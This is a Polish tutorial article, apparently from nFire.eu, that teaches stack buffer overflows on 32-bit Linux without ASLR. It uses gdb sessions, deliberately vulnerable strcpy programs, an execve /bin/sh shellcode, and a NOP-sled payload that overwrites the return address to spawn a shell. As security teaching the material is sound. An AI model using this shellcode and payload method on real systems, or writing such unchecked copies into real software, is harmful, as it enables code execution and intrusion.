MindShifter - nFire.eu   MindShifter - nFire.eu
  [ Zaloguj | Rejestracja ]     Dzisiaj jest : Niedziela, 23 Wrzesień 2018 
Menu strony
 
Artykuły

Wszystkie artykuły » Linux » h4k1n9 » Buffer Overflow w pigułce - część 1

Buffer Overflow w pigułce - część 1

Autor: Dariusz Jaskuła (MindShifter) | Wtorek, 28 Wrzesień 2010 19:41


BOWykorzystując błąd przepełnienia bufora (Buffer Overflow - BO/BOF) można doprowadzić do wykonania dowolnego kodu.

W systemach Linuks z kernelem od 2.6.8 nie jest możliwe wykorzystanie błędu przepełnienia bufora w tradycyjny, prosty sposób. Wprowadzono w nich mechanizm ASLR (Address Space Layer Randomization - Warstwa Losowości Przestrzeni Adresowej).

W kernelach tych nadal można doprowadzić do przepełnienia bufora i wykonania złośliwego kodu, jednak jest to nieco trudniejsze.

Artykuł opisuje BO w systemach linuksowych, na platformie 32-bitowej.

W pierwszej części przedstawię podstawy przepełnienia bufora i wykonania kodu w starszych kernelach bez zabezpieczeń.



Dla celów artykułu zakładam, że Czytelnik ma pojęcie o programowaniu w języku C/C++ oraz zna podstawy asemblera.

Wprowadzenie


Rozkład procesu w pamięci


Do adresowania pamięci proces używa adresów logicznych. Adres logiczny mapowany jest dopiero przez system na fizyczny adres pamięci. Proces ten nazywany jest stronicowaniem (paging) a o procesorze wykorzystującym stronicowanie mówimy, że pracuje w trybie chronionym (protected mode).

W systemach 32-bitowych każdy uruchomiony proces może zaadresować cały dostępny zakres pamięci, czyli 0x00000000 - 0xffffffff (2^32 = 4.294.967.296 = 4 GB) i nie ważne jest, czy w systemie fizycznie dostępne jest 4 GB czy też nie, gdyż proces zazwyczaj dużą część z tej przestrzeni pozostawia niewykorzystaną.

Adres logiczny 0xaabbccdd procesu A wskazuje na zupełnie inne miejsce w pamięci fizycznej niż ten sam adres logiczny procesu B. Stronicowanie powoduje, że proces w pamięci fizycznej jest pofragmentowany:

pamięć wirtualna i rzeczywista

W dalszych rozważaniach będziemy posługiwać się pojęciem adresu jako adresu logicznego.

Zasadniczo każdy proces (uruchomiony program) rozłożony jest w pamięci w trzech segmentach (obszarach): Tekstu (Text) zwany niekiedy segmentem kodu (code), Danych (Data) oraz Stosu (Stack).

Segment Tekstu (kodu). Segment ten oznaczony jest jako tylko do odczytu i próby zapisania do niego zakończą się błędem naruszenia segmentacji (segmentation violation). Zawiera on instrukcje dla procesora (kod programu) i dane tylko do odczytu.

Segment Danych zawiera zainicjowane i niezainicjowane dane (na końcu segmentu danych, w części zwanej segmentem BSS - Block Started by Symbol). Za segmentem danych znajduje się sterta (heap), która często w opisach włączana jest do segmentu danych (znajduje się za BSS).

Segment Stosu jest interesującym nas obszarem pamięci, w którym przechowywane są dane ulotne (np. zmienne lokalne, odłożone wartości z rejestrów). Na stos można odkładać dane (push) i je z niego pobierać (pop). Stos jest kolejką typu LIFO (Last In, First Out) - wartość odłożona jako ostatnia zostanie pobrana jako pierwsza. W trybie chronionym (protected mode) operacje push i pop operują na 32 bitach (podwójne słowo = 4 bajty = 32 bity).

Cechą charakterystyczną procesorów z rodziny x86 jest to, iż stos rozpoczyna się od najwyższego adresu i rośnie w dół (każda kolejna wartość odkładana na stosie trafia pod coraz to niższe adresy).

pamięć

Rejestry procesora


Procesor ma do swojej dyspozycji rejestry, w których przechowuje dane (adresy, wartości). Rejestry są pamięcią wbudowaną w układ procesora, dzięki temu procesor ma do nich bardzo szybki dostęp. Każdy z rejestrów ma swoje specjalne przeznaczenie (np. przez EAX zwracane są dane z funkcji, ale EAX wykorzystywany jest również przy wielu innych operacjach). W 32-bitowych procesorach x86 w trybie chronionym procesor wykorzystuje rejestry rozszerzone (czyli zamiast 16-bitowego rejestru BP wykorzystuje jego rozszerzoną 32-bitową wersję EBP).

Do zrozumienia w jaki sposób wykonać nasz wstrzyknięty kod przepełniając bufor najbardziej interesować nas będzie znaczenie rejestrów EBP, ESP oraz EIP.

ESP (Enchanced Stack Pointer - Rozszerzony Wskaźnik Stosu) zawiera adres wierzchołka stosu. W zależności od architektury może wskazywać na ostatni element na stosie lub następny element za ostatnim (wolna komórka pamięci). W architekturze x86 ESP wskazuje na ostatni element stosu, np. odkładając rejestr EAX na stos (push eax) trafi on pod adres ESP - 4 bajty (pamiętajmy, że stos rośnie w dół). Po odłożeniu EAX na stos rejestr ESP zostanie odpowiednio zmniejszony, tak żeby wskazywał na nowy wierzchołek stosu (który będzie teraz niższym adresem). Pobierając wartość ze stosu, np. do rejestru EDX (pop edx) zostanie ona pobrana spod adresu ESP a ESP zostanie odpowiednio zwiększone (wierzchołek stosu będzie teraz wskazywał na wyższy adres).

EBP (Enchanced Base Pointer - Rozszerzony Wskaźnik Bazy) zawiera adres początku stosu. Od tego miejsca w pamięci rozpoczynają się zmienne lokalne. Jest to dno stosu, ma on najwyższy adres (w obrębie funkcji).

stos

Przy przepełnieniu bufora najważniejszym rejestrem jest rejestr EIP (Enchanced Instruction Pointer - Rozszerzony Wskaźnik Instrukcji). Zawiera on adres instrukcji, która ma zostać wykonana przez procesor jako następna.

Aby zrozumieć ideę wykonania kodu przy przepełnieniu bufora należy poznać sposób w jaki procesor wykonuje kolejne instrukcje programu. W tym celu przeanalizujemy prosty program (instr):
// instr.c
void main()
{
  int x;
  x = 2;
}
// koniec instr.c
Kompilujemy program wraz z danymi dla debugera (oraz wyrównaniem stosu do 4 bajtów i wyłączoną ochroną stosu - ułatwi nam to analizę):
$ gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o instr instr.c
Rozpoczynamy debugowanie:
$ gdb instr
W debugerze sprawdzamy jak wygląda nasza funkcja main w języku asembler:
(gdb) disas main
Dump of assembler code for function main:
0x08048374 <main+0>:    push   %ebp
0x08048375 <main+1>:    mov    %esp,%ebp
0x08048377 <main+3>:    sub    $0x4,%esp
0x0804837a <main+6>:    movl   $0x2,-0x4(%ebp)
0x08048381 <main+13>:   leave
0x08048382 <main+14>:   ret
End of assembler dump.
Instrukcje znajdują się w pamięci (segment kodu) i ułożone są sekwencyjnie po sobie (następna instrukcja jest pod wyższym adresem w pamięci). W każdym cyklu procesor sprawdza wartość rejestru EIP. Znajduje się tam adres instrukcji jaka ma zostać wykonana. Procesor "wie" ile bajtów zajmuje każda instrukcja i podczas jej wykonywania zwiększa EIP o tą wartość, tak że po wykonaniu instrukcji EIP wskazywać będzie na kolejną instrukcję.

W naszym przykładzie jeśli w EIP znajduje się 0x08048375 procesor wykona instrukcję "mov %esp,%ebp" i zwiększy EIP o 2 (długość instrukcji mov). W EIP znajduje się teraz 0x08048377. Po wykonaniu instrukcji mov procesor znów sprawdza wartość EIP (0x08048377) i wykona teraz instrukcję "sub $0x4,%esp". Sub ma długość 3 bajtów. Po jej wykonaniu EIP zostanie więc zwiększone o 3 i wyniesie 0x0804837a, itd.

W językach wysokiego poziomu funkcje (procedury) zmieniają ten sekwencyjny przebieg programu. Można je porównać do skoków (jmp), z tym że po zakończeniu funkcji program musi powrócić do wykonywania kolejnych instrukcji znajdujących się za wywołaną funkcją.

Przejście do funkcji powoduje skok w całkiem inny fragment segmentu kodu. Zatem w jaki sposób procesor może powrócić z funkcji do kolejnej instrukcji za nią? Musi zapamiętać gdzieś adres kolejnej instrukcji za funkcją. Można by do tego użyć rejestrów, jednak przy złożonym kodzie, przy wywoływaniu funkcji w funkcji a w niej funkcji, itd. rejestry szybko by się skończyły. Naturalnym rozwiązaniem jest użycie stosu.

Podczas wywoływania funkcji adres następnej instrukcji za funkcją odkładany jest na stos. Jest to tzw. adres powrotu. Po zakończeniu funkcji, przy powrocie, wartość ta jest zdejmowana ze stosu do EIP. W ten sposób EIP wskazuje teraz na następną instrukcję po funkcji.

W procesorach x86 mechanizm ten realizują dwie instrukcje: call i ret. Wywołanie funkcji (call) powoduje odłożenie EIP (kolejna instrukcja za call) na stos i skok do funkcji. Powrót z funkcji (ret) powoduje pobranie wartości ze stosu (będzie to adres powrotu) i zapisanie jej w EIP.

Skok i powrót


Po skoku do funkcji zachodzi kilka ważnych rzeczy. Funkcja może zawierać swoje zmienne lokalne a zmienne funkcji wywołującej nie mogą zostać utracone. Wywołana funkcja potrzebuje więc dla siebie miejsca na stosie. Dlatego zaraz na wstępie funkcji wykonywane są trzy instrukcje:
push %ebp
mov %esp,%ebp
sub $0x4,%esp
EBP (adres dna stosu funkcji wywołującej) odkładany jest na stos, a EBP zostaje przesunięty - rozpoczyna się teraz od wskaźnika stosu. Później następuje przesunięcie ESP (zmniejszenie) tak aby zrobić miejsce na zmienne lokalne funkcji (tu 4 bajty). Operacje te stanowią prolog funkcji.

Przed opuszczeniem funkcji następuje epilog funkcji, którego zadaniem jest przywrócenie poprzedniego EBP ze stosu (zapisany jest pod aktualnym EBP) przez co funkcja wywołująca może dalej pracować na swoim obszarze stosu. W architekturze x86 realizowane jest to przez przesunięcie wskaźnika stosu (ESP) do wskaźnika bazy (EBP) i pobraniu wartości ze stosu do wskaźnika bazy:
mov %ebp,%esp
pop %ebp
ret
lub przy wykorzystaniu instrukcji leave, która scala te operacje:
leave
ret
Zmiany stosu prześledzimy na przykładzie:
// stos.c
void f(int xx, int yy) {
  int a;
  int b;
  a = 5; b = 6;
}

void main() {
  int x;
  int y;
  x = 1; y = 2;
  f(3,4);
}
// koniec stos.c
Kompilujemy i debugujemy nasz program:
$ gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o stos stos.c
$ gdb stos
Ustawiamy pułapkę (break) zaraz przed wywołaniem funkcji f i następną zaraz przed opuszczeniem funkcji f. Obejrzymy w ten sposób stos dla funkcji main i f. Listujemy kod załadowanego programu:
(gdb) list
2       void f(int xx, int yy) {
3         int a;
4         int b;
5         a = 5; b = 6;
6       }
7
8       void main() {
9         int x;
10        int y;
11        x = 1; y = 2;
12        f(3,4);
13      }
Ustawiamy pułapki w linii 6 i 12:
(gdb) break 12
Breakpoint 1 at 0x804839e: file stos.c, line 12.
(gdb) break 6
Breakpoint 2 at 0x8048388: file stos.c, line 6.
Możemy teraz uruchomić nasz program:
(gdb) run
Starting program: /home/mind/stos

Breakpoint 1, main () at stos.c:12
12        f(3,4);
Debuger zatrzymał się na pierwszej pułapce (w funkcji main, zaraz przed wywołaniem funkcji f). Sprawdzamy ESP i EBP oraz adresy naszych zmiennych:
(gdb) print $esp
$1 = (void *) 0xbffff658
(gdb) print $ebp 
$2 = (void *) 0xbffff668
(gdb) print &x
$3 = (int *) 0xbffff660
(gdb) print &y
$4 = (int *) 0xbffff664
Możemy obejrzeć stos dla funkcji main (8 podwójnych słów powinno wystarczyć):
(gdb) x/8 $esp
0xbffff658:	0x080483db	0xb7fcdff4	0x00000001	0x00000002
0xbffff668:	0xbffff6c8	0xb7e8d455	0x00000001	0xbffff6f4
Dno stosu znajduje się pod adresem 0xbffff668. Wierzchołek stosu znajduje się pod adresem 0xbffff658. Pod adresem 0xbffff660 znajduje się nasza zmienna x (widzimy, że pod tym adresem umieszczona jest wartość 0x00000001), a pod adresem 0xbffff664 zmienna y (wartość 0x00000002).

Zobaczymy co stanie się ze stosem w momencie wywołania funkcji f:
(gdb) next

Breakpoint 2, f (xx=3, yy=4) at stos.c:6
6       }
Program zatrzymuje się na drugiej pułapce. Sprawdzamy ESP i EBP:

(gdb) print $esp
$5 = (void *) 0xbffff648
(gdb) print $ebp
$6 = (void *) 0xbffff650
Jak widać dla funkcji f stos został przesunięty. Nowy EBP rozpoczyna się teraz od adresu = (ESP w chwili wejścia do funkcji) - 4, a nowy ESP=EBP-8 (2x4 bajty - miejsce na stosie na dwie zmienne typu int). Zmienne lokalne funkcji f powinny mieć więc adresy 0xbffff648 (zmienna a - aktualnie leży na wierzchołku stosu) i 0xbffff64c (zmienna b). Na stos trafiły także zmienne przekazane do funkcji (pod adresami 0xbffff658 i 0xbffff65c):
(gdb) print &a
$7 = (int *) 0xbffff648
(gdb) print &b
$8 = (int *) 0xbffff64c

(gdb) x/16 $esp
0xbffff648:	0x00000005	0x00000006	0xbffff668	0x080483b2
0xbffff658:	0x00000003	0x00000004	0x00000001	0x00000002
0xbffff668:	0xbffff6c8	0xb7e8d455	0x00000001	0xbffff6f4
0xbffff678:	0xbffff6fc	0xb7fe2b38	0x00000001	0x00000001
Stos wygląda teraz tak (na rysunku kolejne dane były odkładane coraz wyżej):

Stos programu

Jak widać adres powrotu można uzyskać dodając 4 do EBP (wartość odłożona przed EBP):
(gdb) x $ebp+4
0xbffff654:	0x080483b2
Kolejne, kluczowe kroki powstawania stosu przedstawia rysunek:

Kroki powstawania stosu programu

Możemy sprawdzić jak wyglądają nasze funkcje f i main w asemblerze (jak widać są ułożone w jednym ciągu w segmencie kodu):
(gdb) disas f
Dump of assembler code for function f:
0x08048374 <f+0>:       push   %ebp
0x08048375 <f+1>:       mov    %esp,%ebp
0x08048377 <f+3>:       sub    $0x8,%esp
0x0804837a <f+6>:       movl   $0x5,-0x8(%ebp)
0x08048381 <f+13>:      movl   $0x6,-0x4(%ebp)
0x08048388 <f+20>:      leave
0x08048389 <f+21>:      ret
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x0804838a <main+0>:    push   %ebp
0x0804838b <main+1>:    mov    %esp,%ebp
0x0804838d <main+3>:    sub    $0x10,%esp
0x08048390 <main+6>:    movl   $0x1,-0x8(%ebp)
0x08048397 <main+13>:   movl   $0x2,-0x4(%ebp)
0x0804839e <main+20>:   movl   $0x4,0x4(%esp)
0x080483a6 <main+28>:   movl   $0x3,(%esp)
0x080483ad <main+35>:   call   0x8048374 <f>
0x080483b2 <main+40>:   leave
0x080483b3 <main+41>:   ret
End of assembler dump.
Pod adresem 0x080483ad (w funkcji main) następuje wywołanie funkcji f (call 0x8048374 <f>). Następuje skok do adresu 0x8048374 (początek funkcji f). Funkcja rozpoczyna się od prologu, w którym rezerwuje 8 bajtów na zmienne lokalne przesuwając ESP o 8 wstecz (sub $0x8,%esp). Pod adres EBP-8 trafia wartość 5 (zmienna a), a pod adres EBP-4 wartość 6 (zmienna b). Na koniec następuje powrót z funkcji f do funkcji main. Adres powrotu odłożony na stosie wynosi 0x080483b2 trafi on do rejestru EIP (przy wykonywaniu leave i ret). Adres ten znajduje się w funkcji main i jest to następna instrukcja po wywołaniu funkcji f - program będzie kontynuowany za wywołaniem funkcji f.

Przepełnienie bufora


Zobaczmy jak można doprowadzić do przepełnienia bufora. Załóżmy, że w programie zdefiniowana jest zmienna tablicowa n-elementowa, np. 4-elementowa tablica buf:
// bo.c
#include <stdio.h>
void f(char *s) {
  char buf[4];
  strcpy(buf, s);
}

void main() {
  f("ABCDEFGHIJKL");
}
// koniec bo.c
Do tablicy tej kopiowany jest ciąg wskazywany przez wskaźnik s. Funkcja strcpy kopiuje łańcuch znaków aż do napotkania pustego znaku (0x00 = NULL), kończącego ciąg (w języku C++ znak ten jest dodawany automatycznie na końcu takich łańcuchów). Widzimy, że w ten sposób do tablicy mogącej pomieścić 4 elementy trafiło 13 elementów (12 znaków A ... L + znak 0x00)!

Bez wątpienia pierwsze 4 znaki trafiły pod adres bufora "buf" na stos. Co zatem stało się z pozostałymi 9 znakami? Otóż one również trafiły na stos! Kopiowanie rozpoczęło się od adresu buf. Na stosie przydzielono dla niego tylko 4 bajty. Bezpośrednio za buforem znajduje się zachowany EBP (4 bajty) a za nim adres powrotu (4 bajty). Widzimy więc, że zarówno kopia EBP jak i adres powrotu zostaną nadpisane przez nasz ciąg.

Sprawdźmy to w debugerze:
$ gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o bo bo.c
$ gdb bo
Ustawiamy dwie pułapki zaraz przed kopiowaniem danych do bufora i po kopiowaniu. Dzięki temu sprawdzimy zmiany stosu:
(gdb) list
1       // bo.c
2       #include <stdio.h>
3       void f(char *s) {
4         char buf[4];
5         strcpy(buf, s);
6       }
7
8       void main() {
9         f("ABCDEFGHIJKL");
10      }
(gdb) b 5
Breakpoint 1 at 0x80483aa: file bo.c, line 5.
(gdb) b 6
Breakpoint 2 at 0x80483bc: file bo.c, line 6.
Uruchamiamy program (zwróćmy uwagę na adres wskaźnika s=0x80484a0):
(gdb) r
Starting program: /home/mind/bo

Breakpoint 1, f (s=0x80484a0 "ABCDEFGHIJKL") at bo.c:5
5         strcpy(buf, s);
Sprawdzamy adres bufora buf, wartość EBP i adres powrotu oraz zawartość stosu:
(gdb) print &buf
$1 = (char (*)[4]) 0xbffff668
(gdb) x $ebp
0xbffff66c:	0xbffff678
(gdb) x $ebp+4
0xbffff670:	0x080483d0
(gdb) x/8 $esp
0xbffff660:	0xb7ff2250	0x080482f0	0x080483fb	0xbffff678
0xbffff670:	0x080483d0	0x080484a0	0xbffff6d8	0xb7e8d455
Z ciekawości możemy sprawdzić co znajduje się pod adresem wskaźnika s (sprawdzamy 4 podwójne słowa):
(gdb) x/4 0x080484a0
0x80484a0:	0x44434241	0x48474645	0x4c4b4a49	0x00000000
Jest to nasz ciąg "ABCDEFGHIJKL" zakończony zerem (kolejne znaki w kodzie ASCII). Możemy go przedstawić w postaci łańcucha:
(gdb) x/s 0x080484a0
0x080484a0: "ABCDEFGHIJKL"
Sprawdźmy co stanie się ze stosem po funkcji kopiowania (strcpy):
(gdb) next

Breakpoint 2, f (s=0x8048400 "") at bo.c:6
6       }
Na wstępie widzimy, że coś niedobrego stało się z adresem wskaźnika (s=0x8048400).
(gdb) x $ebp
0xbffff66c:	0x48474645
(gdb) x $ebp+4
0xbffff670:	0x4c4b4a49
(gdb) x/8 $esp
0xbffff660:	0xbffff668	0x080484a0	0x44434241	0x48474645
0xbffff670:	0x4c4b4a49	0x08048400	0xbffff6d8	0xb7e8d455
Zarówno wartość pod EBP jak i adres powrotu zostały nadpisane nową wartością. Przy okazji nadpisaliśmy też najmłodszy bajt za adresem powrotu wartością 0x00 (znak końca łańcucha przekazanego do buf) - jest to argument funkcji (wskaźnik s). Pamięć stosu od adresu buf do adresu powrotu przedstawia się teraz tak (dane ułożone są od prawej do lewej ze względu na kierunek rośnięcia stosu - architektura little endian):
buf (podwóje słowo pod adresem 0xbffff668 = 0x44434241).
Poszczególne bajty przedstawiają się tak:

adres		wartość
0xbffff668	0x41 (znak "A")
0xbffff669	0x42 (znak "B")
0xbffff66a	0x43 (znak "C")
0xbffff66b	0x44 (znak "D")

EBP (podwóje słowo pod adresem 0xbffff66c = 0x48474645).
Poszczególne bajty przedstawiają się tak:

adres		wartość
0xbffff66c	0x45 (znak "E")
0xbffff66d	0x46 (znak "F")
0xbffff66e	0x47 (znak "G")
0xbffff66f	0x48 (znak "H")

adres powrotu (podwójne słowo pod adresem 0xbffff670 = 0x4d4c4a49).
Poszczególne bajty przedstawiają się tak:

adres		wartość
0xbffff670	0x49 (znak "I")
0xbffff671	0x4a (znak "J")
0xbffff672	0x4b (znak "K")
0xbffff673	0x4c (znak "L")
Jak na razie program działa jednak prawidłowo mimo nadpisanego stosu. Sprawdźmy co stanie się po powrocie z funkcji:
(gdb) next
0x4c4b4a49 in ?? ()
Doszło do błędu. Po powrocie z funkcji f do rejestru EIP została pobrana nadpisana wartość ze stosu. Procesor, zgodnie z wartością w EIP, próbował wykonać instrukcję pod adresem 0x4c4b4a49 (jest to fragment naszego ciągu "IJKL"), który oczywiście jest nieprawidłowym adresem instrukcji.

Możemy podejrzeć wartości rejestrów:
(gdb) info reg
eax            0xbffff668	-1073744280
ecx            0xbffff667	-1073744281
edx            0xd	13
ebx            0xb7fcdff4	-1208164364
esp            0xbffff674	0xbffff674
ebp            0x48474645	0x48474645
esi            0x80483f0	134513648
edi            0x80482f0	134513392
eip            0x4c4b4a49	0x4c4b4a49
eflags         0x246	[ PF ZF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
i widzimy, że po powrocie z funkcji f zarówno adres EBP jak i EIP zostały nadpisane.

Podsumowując: Do błędu przepełnienia bufora dojdzie, gdy do bufora zapiszemy więcej danych niż bufor może pomieścić. Dodatkowe dane "wyleją się" z bufora i nadpiszą komórki pamięci za buforem. Dodatkowym efektem przepełnienia bufora może być nadpisanie odłożonego na stos adres powrotu. W chwili powrotu z funkcji (ret) zostanie on pobrany ze stosu i trafi do EIP. Procesor sprawdza rejestr EIP i przechodzi do wykonywania instrukcji znajdującej się pod adresem wskazanym przez EIP (jeśli będzie to prawidłowy adres instrukcja zostanie wykonana).

Wywołanie shellcodu


Wiemy już jak zmienić wartość EIP i tym samym zmusić procesor do rozpoczęcia wykonywania instrukcji pod podanym przez nas adresem. Musimy jeszcze tylko umieścić w pamięci nasz kod, określić jego adres w pamięci (jego początek) i zmienić adres powrotu na ten adres. W ten sposób wracając z funkcji procesor rozpocznie wykonywanie naszego kodu.

Naszym kodem najczęściej będzie polecenie uruchamiające powłokę (oczywiście może to być dowolny kod). Jest to niewielki kod instrukcji w języku maszynowym nazywany shellcodem (szelkod - kod powłoki). Kod musi być na tyle mały aby zmieścił się w buforze. Kod nie może zawierać w sobie znaków 0x00 traktowanych jako koniec ciągu do kopiowania (shellcode został by w tym miejscu urwany przy kopiowaniu do bufora). Na sieci można bez trudu znaleźć wiele gotowych shellcodów.

Przetestujemy jeden z nich (umieszczamy go w globalnej tablicy sc):
// testsc.c
char sc[]="\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

void f() {
  void (*ret)();
  ret = sc;
  ret();
}

void main() {
  f();
}
// koniec testsc.c
W programie definiujemy wskaźnik ret przypisujemy mu adres shellcodu i wywołujemy instrukcję pod tym adresem (czyli rozpoczynamy sekwencję instrukcji składających się na shellcode). Kompilujemy i wykonujemy nasz program:
$ make testsc
$ ./testsc
sh-3.2$
Jak widać powłoka została wywołana. Ciąg zawarty w buforze sc działa prawidłowo a dodatkowo jest niewielki (24 bajty).

W przykładzie tym shellcode jest już umieszczony w pamięci i znamy jego adres, do którego po prostu skaczemy. Spróbujemy teraz wywołać shellcode przepełniając bufor.

Do tego celu posłużymy się zmodyfikowanym programem bo:
// bo2.c
#include <stdio.h>

char sc[]="\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

void f(char *s) {
  char buf[4];
  strcpy(buf, s);
}

void main(int argc, char *argv[]) {
  if(argc>1)
    f(argv[1]);
}
// koniec bo2.c
Kompilujemy nasz program i sprawdzamy adres sc:
$ gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o bo2 bo2.c
$ gdb bo2
(gdb) print &sc
$1 = (char (*)[25]) 0x80495ac
Nasz kod umieszczony jest w pamięci pod adresem 0x80495ac. Spróbujmy przepełnić bufor, tak aby zastąpić adres powrotu tym adresem. Bufor skłda się z 4 bajtów, za którymi znajduje się kopia EBP (kolejne 4 bajty). Potrzebujemy więc 8 bajtów dowolnego ciągu aby rozpocząc nadpisywanie adresu powrotu:
$ ./bo2 `echo -en "ABCDEFGH\xac\x95\x04\x08"`
sh-3.2$
Udało się! Do bufora buf trafił ciąg "ABCD", do EBP ciąg "EFGH" a do adresu powrotu wartość 0x080495ac.

Dla przypomnienia: polecenie pomiędzy znakami ` (odwrotny apostrof) pozwala zacytować (uruchomić) polecenie, czyli w tym wypadku uruchomiony zostanie program bo2 do którego argumentów trafi wynik polecenia echo (argumentem bo2 będzie ciąg ABCDEFGH i heksadecymalne wartości 0xac 0x95 0x04 0x08 - tworzące adres w odwrotnej kolejności).


To było proste. Shellcode był już dołączony do programu co w praktyce się nie zdarza. Musimy teraz pójść o kolejny krok dalej i przekazać do bufora nasz shellcode wraz z jego adresem nadpisując adres powrotu. Potrzebujemy do tego odpowiednio dużego bufora mogącego pomieścić shellcode.

Przepełnienie bufora - kernel bez ASLR


Piszemy podatny na atak program:
// bo3.c
#include <stdio.h>

void f(char *s) {
  char buf[100];
  strcpy(buf, s);
}

void main(int argc, char *argv[]) {
  if(argc>1)
    f(argv[1]);
}
// koniec bo3.c
Kompilujemy i debugujemy nasz program:
$ gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o bo3 bo3.c
$ gdb bo3
Sprawdzimy ile bajtów musimy przekazać jako argument aby przepełnić bufor i nadpisać adres powrotu (w/g wcześniejszych wniosków powinno to być 100+4+4=108 bajtów):
(gdb) r `perl -e 'print "a"x105'`
Starting program: /home/mind/bo3 `perl -e 'print "a"x105'`

Program received signal SIGSEGV, Segmentation fault.
0x08040061 in ?? ()
(gdb) kill
Kill the program being debugged? (y or n) y
Adres powrotu najwyraźniej zaczyna być nadpisywany (najmłodszy bajt zawiera 0x61="a"). Kontynuujemy sprawdzanie z coraz to dłuższym buforem:
(gdb) r `perl -e 'print "a"x106'`
Starting program: /home/mind/bo3 `perl -e 'print "a"x106'`

Program received signal SIGSEGV, Segmentation fault.
0x08006161 in ?? ()
(gdb) r `perl -e 'print "a"x107'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/mind/bo3 `perl -e 'print "a"x107'`

Program received signal SIGSEGV, Segmentation fault.
0x00616161 in ?? ()
Jeszcze tylko jeden bajt:
(gdb) r `perl -e 'print "a"x108'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/mind/bo3 `perl -e 'print "a"x108'`

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
Wygląda na to, że wszystko się zgadza. Po przekazaniu 108 znaków "a" do bufora (dla ścisłości do bufora w sumie trafiło 108 znaków "a" i wartość "zero" kończąca ciąg - widać wędrujące 0x00 przy coraz dłuższym buforze) nadpisaliśmy w całości adres powrotu wartością "aaaa". Możemy jeszcze sprawdzić ramkę poznając szczegóły:
(gdb) info frame
Stack level 0, frame at 0xbffff5f8:
 eip = 0x61616161; saved eip 0xbffff700
 called by frame at 0xbffff5fc
 Arglist at 0xbffff5f0, args: 
 Locals at 0xbffff5f0, Previous frame's sp is 0xbffff5f8
 Saved registers:
  eip at 0xbffff5f4
(gdb)
Rejestr EIP zawiera 0x61616161 (czyli ciąg "aaaa"). Przebieg programu został zakończony z powodu próby wykonania instrukcji pod niedozwolonym adresem (do procesu został wysłany sygnał SIGSEGV - segmentation violation).

Sprawdzimy teraz adres naszego bufora.
(gdb) l
1       // bo3.c
2       #include <stdio.h>
3
4       void f(char *s) {
5         char buf[100];
6         strcpy(buf, s);
7       }
8
9       void main(int argc, char *argv[]) {
10        if(argc>1)
(gdb) b 6
Breakpoint 1 at 0x80483aa: file bo3.c, line 6.
(gdb) r `perl -e 'print "a"x108'`
Breakpoint 1, f (s=0xbffffa0a 'a' <repeats 108 times>) at bo3.c:6
6         strcpy(buf, s);

(gdb) p &buf
$2 = (char (*)[100]) 0xbffff588
(gdb) quit
Buf rozpoczyna się pod adresem 0xbffff588. Jest to adres, pod który będziemy chcieli skoczyć zastosujemy go więc do nadpisania adresu powrotu.

Naszym celem jest teraz stworzenie ładunku, który przekażemy do bufora powodując jego przepełnienie i wykonanie shellcodu.

Wiemy już, że od adresu bufora do początku adresu powrotu są 104 bajty. Łącznie z adresem powrotu potrzebujemy więc przekazać do bufora 108 bajtów. Będzie to całkowita długość naszego ładunku.

Na początku ładunku umieszczamy nasz shellcode:
$ echo -en "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" > ladunek
Na samym końcu (ostatnie 4 bajty) musi znaleźć się adres bufora. Co jednak zrobić z miejscem pomiędzy shellcodem a tym adresem? Można je wypełnić dowolną wartością różną od zera (nie szkodzi, że będzie to błędna instrukcja - nasz shellcode się wykona i dalszy przebieg programu nas nie interesuje). Istnieje jednak idealnie pasująca do tego instrukcja NOP (No Operation - brak operacji), która nie robi nic i zajmuje 1 bajt. Jej kod to 0x90. Jej użycie jest znacznie bardziej eleganckie.

Ponieważ nasz shellcode zajmuje 24 bajty a adres bufora dodatkowe 4 to na zapełnienie luki potrzebujemy 108-24-4 = 80 bajtów. Dodajemy więc za shellcodem 80 instrukcji NOP:
$ perl -e 'print "\x90"x80' >> ladunek
Pozostało dopisać do ładunku adres bufora (w odwrotnej kolejność - architektura x86 little endian):
$ echo -en "\x88\xf5\xff\xbf" >> ladunek
Nasz ladunek możemy podejrzeć hexdumpem:
$ hexdump -Cv ladunek
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  53 89 e1 99 b0 0b cd 80  90 90 90 90 90 90 90 90  |S...............|
00000020  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000030  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000040  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000050  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000060  90 90 90 90 90 90 90 90  88 f5 ff bf              |............|
0000006c
Wszystko wygląda poprawnie: mamy tu nasz shellcode za nim NOP-y i na koniec adres bufora. Przekażemy teraz nasz ladunek do programu:
$ gdb bo3
(gdb) r `cat ladunek`
Starting program: /home/mind/bo3 `cat ladunek`
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.2$
Uzyskaliśmy powłokę!

Teraz mała uwaga. Próbując uruchomić nasz program z ładunkiem bez debugera okazuje się, że nie wstrzeliwujemy się dobrze z naszym adresem:
$ ./bo3 `cat ladunek`
Naruszenie ochrony pamięci
